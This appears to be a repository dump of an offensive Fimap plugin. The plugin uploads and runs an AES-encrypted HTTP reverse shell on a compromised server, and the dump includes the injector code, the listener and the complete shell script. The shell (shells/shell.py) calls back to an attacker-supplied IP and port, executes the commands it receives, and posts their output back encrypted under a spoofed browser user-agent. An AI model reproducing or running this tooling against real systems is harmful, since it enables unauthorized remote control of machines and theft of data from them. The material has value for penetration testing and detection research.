├── README.md ├── __init__.py ├── aeshttp.py ├── listener └── server.py ├── plugin.xml └── shells └── shell.py /README.md: -------------------------------------------------------------------------------- 1 | AES-Shell-Injector - Fimap Plugin that allows you to inject an AES HTTP Reverse Shell 2 | 3 | Author: Darren "Infodox" Martyn. 4 | Email: infodox@insecurety.net 5 | Twitter: twitter.com/info_dox 6 | Site: http://insecurety.net/ 7 | Usage: Just add this to the plugins folder in Fimap, should work fine as-is. 8 | 9 | NOTE: The AES-Reverse listener is in the "listener" folder... 10 | 11 | Example: 12 | ``` 13 | ###################################################################################### 14 | #:: Available Attacks - PHP and SHELL access :: # 15 | ###################################################################################### 16 | #[1] Spawn fimap shell # 17 | #[2] Spawn pentestmonkey's reverse shell # 18 | #[3] [Upload Weevely] Uploads a Weevily Backdoor # 19 | #[4] [AES HTTP Reverse Shell Injector] Uploads and runs an AES HTTP Reverse shell # 20 | #[5] [msf_bindings] Executes MSF reverse payloads # 21 | #[6] [Test Plugin] Show some info # 22 | #[7] [reverse http shell] Loads a reverse HTTP shell # 23 | #[q] Quit # 24 | ###################################################################################### 25 | Choose Attack: 4 26 | Uploading shell to /tmp/shell.py ... 27 | Uploaded 5128 bytes 28 | Hope you have the listener running... Time to input your infoes :) 29 | IP of listener?: 127.0.0.1 30 | Port of listener?: 443 31 | Executing the shell! Sending reverse shell to 127.0.0.1 443 32 | ###################################################################################### 33 | #:: Available Attacks - PHP and SHELL access :: # 34 | ###################################################################################### 35 | #[1] Spawn fimap shell # 36 | #[2] Spawn pentestmonkey's reverse shell # 37 | #[3] [Upload Weevely] Uploads a Weevily Backdoor # 38 | #[4] [AES HTTP Reverse Shell Injector] Uploads and runs an AES HTTP Reverse shell # 39 | #[5] [msf_bindings] Executes MSF reverse payloads # 40 | #[6] [Test Plugin] Show some info # 41 | #[7] [reverse http shell] Loads a reverse HTTP shell # 42 | #[q] Quit # 43 | ###################################################################################### 44 | Choose Attack: 4 45 | Uploading shell to /tmp/shell.py ... 46 | Uploaded 5128 bytes 47 | Hope you have the listener running... Time to input your infoes :) 48 | IP of listener?: 127.0.0.1 49 | Port of listener?: 443 50 | Executing the shell! Sending reverse shell to 127.0.0.1 443 51 | 52 | > Make sure your listener is running. I set it to use Port 443, you can edit the listener source in listener/server.py tto change this. 53 | 54 | ``` 55 | 56 | ### Known Issues ### 57 | * This plugin does NOT yet auto connect, as my normal method of popping an XTERM to connect did not seem like a great idea. 58 | * This plugin is still in Beta. Report any bugs in my code, PLEASE! 59 | 60 | ### Greetings and Credits ### 61 | imax for writing Fimap! 62 | Dave rel1k for writing the reverse shell 63 | ohdae for one-upping all my post-pwnage ideas and writing Intersect :P 64 | pr0f for inspiration in general. 65 | eipwner also for being idea-causing 66 | v0rbis for making me feel like I had to do something 67 | -------------------------------------------------------------------------------- /__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /aeshttp.py: -------------------------------------------------------------------------------- 1 | # Uses AES http backdoor 2 | import os 3 | from plugininterface import basePlugin 4 | import inspect 5 | import time 6 | 7 | class aeshttp(basePlugin): 8 | 9 | def plugin_init(self): 10 | pass 11 | 12 | def plugin_loaded(self): 13 | pass 14 | 15 | def request_parameters(self): 16 | pass 17 | 18 | 19 | def plugin_exploit_modes_requested(self, langClass, isSystem, isUnix): 20 | # This method will be called just befor the user gets the 'available attack' screen. 21 | # You can see that we get the 22 | # * langClass (which represents the current language of the script) 23 | # * A boolean value 'isSystem' which tells us if we can inject system commands. 24 | # * And another boolean 'isUnix' which will be true if it's a unix-like system and false if it's Windows. 25 | # We should return a array which contains tuples with a label and a unique callback string. 26 | ret = [] 27 | 28 | #print "Language: " + langClass.getName() 29 | 30 | if (isSystem): 31 | attack = ("Uploads and runs an AES HTTP Reverse shell", "aeshttp.aeshttp") 32 | ret.append(attack) 33 | 34 | return(ret) 35 | 36 | def plugin_callback_handler(self, callbackstring, haxhelper): 37 | # This function will be launched if the user selected one of your attacks. 38 | # The two params you receive here are: 39 | # * callbackstring - The string you have defined in plugin_exploit_modes_requested. 40 | # * haxhelper - A little class which makes it very easy to send an injected command. 41 | 42 | if (callbackstring == "aeshttp.aeshttp"): 43 | 44 | if (haxhelper.isUnix()): 45 | shell_path= "%s/shells" % os.path.dirname(inspect.getfile(inspect.currentframe())) 46 | 47 | os.chdir(shell_path) 48 | if not os.path.isfile("./shell.py"): 49 | print "The fuck is the shell?" 50 | print "quitting" 51 | return 1 52 | 53 | self.request_parameters() 54 | remoten="/tmp/shell.py" 55 | 56 | print "Uploading shell to %s ..." % remoten 57 | bytes = haxhelper.uploadfile("./shell.py", remoten, chunksize=-1) #BUGFIXXXX 58 | print "Uploaded %s bytes" % bytes 59 | haxhelper.executeSystemCommand("chmod 777 %s" % remoten) 60 | print "Hope you have the listener running... Time to input your infoes :)" 61 | reverseip = raw_input("IP of listener?: ") 62 | reverseport = raw_input("Port of listener?: ") 63 | haxhelper.executeSystemCommand("python /tmp/shell.py %s %s" %(reverseip, reverseport)) 64 | print "Executing the shell! Sending reverse shell to %s %s" %(reverseip, reverseport) 65 | -------------------------------------------------------------------------------- /listener/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | ############################################ 3 | # 4 | # 5 | # AES Encrypted Reverse HTTP Listener by: 6 | # 7 | # Dave Kennedy (ReL1K) 8 | # http://www.secmaniac.com 9 | # 10 | # 11 | ############################################ 12 | from BaseHTTPServer import BaseHTTPRequestHandler 13 | from BaseHTTPServer import HTTPServer 14 | import urlparse 15 | import re 16 | import os 17 | import base64 18 | from Crypto.Cipher import AES 19 | 20 | # the block size for the cipher object; must be 16, 24, or 32 for AES 21 | BLOCK_SIZE = 32 22 | # the character used for padding--with a block cipher such as AES, the value 23 | # you encrypt must be a multiple of BLOCK_SIZE in length. This character is 24 | # used to ensure that your value is always a multiple of BLOCK_SIZE 25 | PADDING = '{' 26 | # one-liner to sufficiently pad the text to be encrypted 27 | pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING 28 | 29 | # one-liners to encrypt/encode and decrypt/decode a string 30 | # encrypt with AES, encode with base64 31 | EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) 32 | DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) 33 | 34 | # 32 character secret key - change this if you want to be unique 35 | secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" 36 | 37 | # create a cipher object using the random secret 38 | cipher = AES.new(secret) 39 | 40 | # url decode for postbacks 41 | def htc(m): 42 | return chr(int(m.group(1),16)) 43 | 44 | # url decode 45 | def urldecode(url): 46 | rex=re.compile('%([0-9a-hA-H][0-9a-hA-H])',re.M) 47 | return rex.sub(htc,url) 48 | 49 | class GetHandler(BaseHTTPRequestHandler): 50 | 51 | # handle get request 52 | def do_GET(self): 53 | 54 | # this will be our shell command 55 | message = raw_input("shell> ") 56 | # send a 200 OK response 57 | self.send_response(200) 58 | # end headers 59 | self.end_headers() 60 | # encrypt the message 61 | message = EncodeAES(cipher, message) 62 | # base64 it 63 | message = base64.b64encode(message) 64 | # write our command shell param to victim 65 | self.wfile.write(message) 66 | # return out 67 | return 68 | 69 | # handle post request 70 | def do_POST(self): 71 | 72 | # send a 200 OK response 73 | self.send_response(200) 74 | # # end headers 75 | self.end_headers() 76 | # grab the length of the POST data 77 | length = int(self.headers.getheader('content-length')) 78 | # read in the length of the POST data 79 | qs = self.rfile.read(length) 80 | # url decode 81 | url=urldecode(qs) 82 | # remove the parameter cmd 83 | url=url.replace("cmd=", "") 84 | # base64 decode 85 | message = base64.b64decode(url) 86 | # decrypt the string 87 | message = DecodeAES(cipher, message) 88 | # display the command back decrypted 89 | print message 90 | 91 | if __name__ == '__main__': 92 | 93 | # bind to all interfaces 94 | server = HTTPServer(('', 443), GetHandler) 95 | print """############################################ 96 | # 97 | # 98 | # AES Encrypted Reverse HTTP Listener by: 99 | # 100 | # Dave Kennedy (ReL1K) 101 | # http://www.secmaniac.com 102 | # 103 | # 104 | ############################################""" 105 | print 'Starting encrypted web shell server, use to stop' 106 | # simple try block 107 | try: 108 | # serve and listen forever 109 | server.serve_forever() 110 | # handle keyboard interrupts 111 | except KeyboardInterrupt: 112 | print "[!] Exiting the encrypted webserver shell.. hack the gibson." 113 | -------------------------------------------------------------------------------- /plugin.xml: -------------------------------------------------------------------------------- 1 | 2 | 10 | -------------------------------------------------------------------------------- /shells/shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | ########################################################################################################################## 3 | # 4 | # 5 | # AES Encrypted Reverse HTTP Shell by: 6 | # 7 | # Dave Kennedy (ReL1K) 8 | # http://www.secmaniac.com 9 | # 10 | ########################################################################################################################## 11 | # 12 | ########################################################################################################################## 13 | # 14 | # To compile, you will need pyCrypto, it's a pain to install if you do it from source, should get the binary modules 15 | # to make it easier. Can download from here: 16 | # http://www.voidspace.org.uk/cgi-bin/voidspace/downman.py?file=pycrypto-2.0.1.win32-py2.5.zip 17 | # 18 | ########################################################################################################################## 19 | # 20 | # This shell works on any platform you want to compile it in. OSX, Windows, Linux, etc. 21 | # 22 | ########################################################################################################################## 23 | # 24 | ########################################################################################################################## 25 | # 26 | # Below is the steps used to compile the binary. py2exe requires a dll to be used in conjunction 27 | # so py2exe was not used. Instead, pyinstaller was used in order to byte compile the binary. 28 | # 29 | ########################################################################################################################## 30 | # 31 | # export VERSIONER_PYTHON_PREFER_32_BIT=yes 32 | # python Configure.py 33 | # python Makespec.py --onefile --noconsole shell.py 34 | # python Build.py shell/shell.spec 35 | # 36 | ########################################################################################################################### 37 | 38 | 39 | import urllib 40 | import urllib2 41 | import httplib 42 | import subprocess 43 | import sys 44 | import base64 45 | import os 46 | from Crypto.Cipher import AES 47 | 48 | 49 | # the block size for the cipher object; must be 16, 24, or 32 for AES 50 | BLOCK_SIZE = 32 51 | # the character used for padding--with a block cipher such as AES, the value 52 | # you encrypt must be a multiple of BLOCK_SIZE in length. This character is 53 | # used to ensure that your value is always a multiple of BLOCK_SIZE 54 | PADDING = '{' 55 | # one-liner to sufficiently pad the text to be encrypted 56 | pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING 57 | 58 | # one-liners to encrypt/encode and decrypt/decode a string 59 | # encrypt with AES, encode with base64 60 | EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) 61 | DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) 62 | 63 | # secret key, change this if you want to be unique 64 | secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" 65 | 66 | # create a cipher object using the random secret 67 | cipher = AES.new(secret) 68 | 69 | # TURN THIS ON IF YOU WANT PROXY SUPPORT 70 | PROXY_SUPPORT = "OFF" 71 | # THIS WILL BE THE PROXY URL 72 | PROXY_URL = "http://proxyinfo:80" 73 | # USERNAME FOR THE PROXY 74 | USERNAME = "username" 75 | # PASSWORD FOR THE PROXY 76 | PASSWORD = "password" 77 | 78 | # here is where we set all of our proxy settings 79 | if PROXY_SUPPORT == "ON": 80 | auth_handler = urllib2.HTTPBasicAuthHandler() 81 | auth_handler.add_password(realm='RESTRICTED ACCESS', 82 | uri=PROXY_URL, # PROXY SPECIFIED ABOVE 83 | user=USERNAME, # USERNAME SPECIFIED ABOVE 84 | passwd=PASSWORD) # PASSWORD SPECIFIED ABOVE 85 | opener = urllib2.build_opener(auth_handler) 86 | urllib2.install_opener(opener) 87 | 88 | try: 89 | # our reverse listener ip address 90 | address = sys.argv[1] 91 | # our reverse listener port address 92 | port = sys.argv[2] 93 | 94 | # except that we didn't pass parameters 95 | except IndexError: 96 | print " \nAES Encrypted Reverse HTTP Shell by:" 97 | print " Dave Kennedy (ReL1K)" 98 | print " http://www.secmaniac.com" 99 | print "Usage: shell.py " 100 | sys.exit() 101 | 102 | # loop forever 103 | while 1: 104 | 105 | # open up our request handelr 106 | req = urllib2.Request('http://%s:%s' % (address,port)) 107 | # grab our response which contains what command we want 108 | message = urllib2.urlopen(req) 109 | # base64 unencode 110 | message = base64.b64decode(message.read()) 111 | # decrypt the communications 112 | message = DecodeAES(cipher, message) 113 | # quit out if we receive that command 114 | if message == "quit" or message == "exit": 115 | sys.exit() 116 | # issue the shell command we want 117 | proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 118 | # read out the data of stdout 119 | data = proc.stdout.read() + proc.stderr.read() 120 | # encrypt the data 121 | data = EncodeAES(cipher, data) 122 | # base64 encode the data 123 | data = base64.b64encode(data) 124 | # urlencode the data from stdout 125 | data = urllib.urlencode({'cmd': '%s'}) % (data) 126 | # who we want to connect back to with the shell 127 | h = httplib.HTTPConnection('%s:%s' % (address,port)) 128 | # set our basic headers 129 | headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} 130 | # actually post the data 131 | h.request('POST', '/index.aspx', data, headers) 132 | --------------------------------------------------------------------------------